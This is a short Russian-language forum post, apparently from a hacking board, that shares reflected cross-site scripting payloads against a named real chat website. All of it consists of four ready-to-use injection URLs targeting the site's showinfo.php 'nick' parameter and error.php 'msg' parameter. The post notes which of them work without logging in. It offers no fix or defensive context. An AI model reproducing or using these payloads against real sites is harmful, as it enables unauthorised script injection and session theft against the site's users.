Расшарил xss в поисковике: Для выпада алерта, нужен вход в чат
_http://chat.ordenvlasti.ru/showinfo.php?nick=%3Cimage+style%3Dbackground%3Aur l%28javascript%3Aalert%28%2FSLIP%2F%29%29%3E
============
Ещё одна: Вход в чат необязателен
_http://chat.ordenvlasti.ru/error.php?msg=Пароль%20не%20верный!" ><image%20style=background:url(javascript:alert(/SLIP/))>
============
На главной странице, при просмотре анкеты админа.. Хоть и пишит что ник не зареген. но алерт то вылазит) Вход в сам чат необязателен
_http://chat.ordenvlasti.ru/showinfo.php?nick=DarkAG"><image%20style=backgroun d:url(javascript:alert(/SLIP/))>
Или так:
_http://chat.ordenvlasti.ru/showinfo.php?nick=DarkAG"><script>alert(/SLIP/)</script>

__________________
..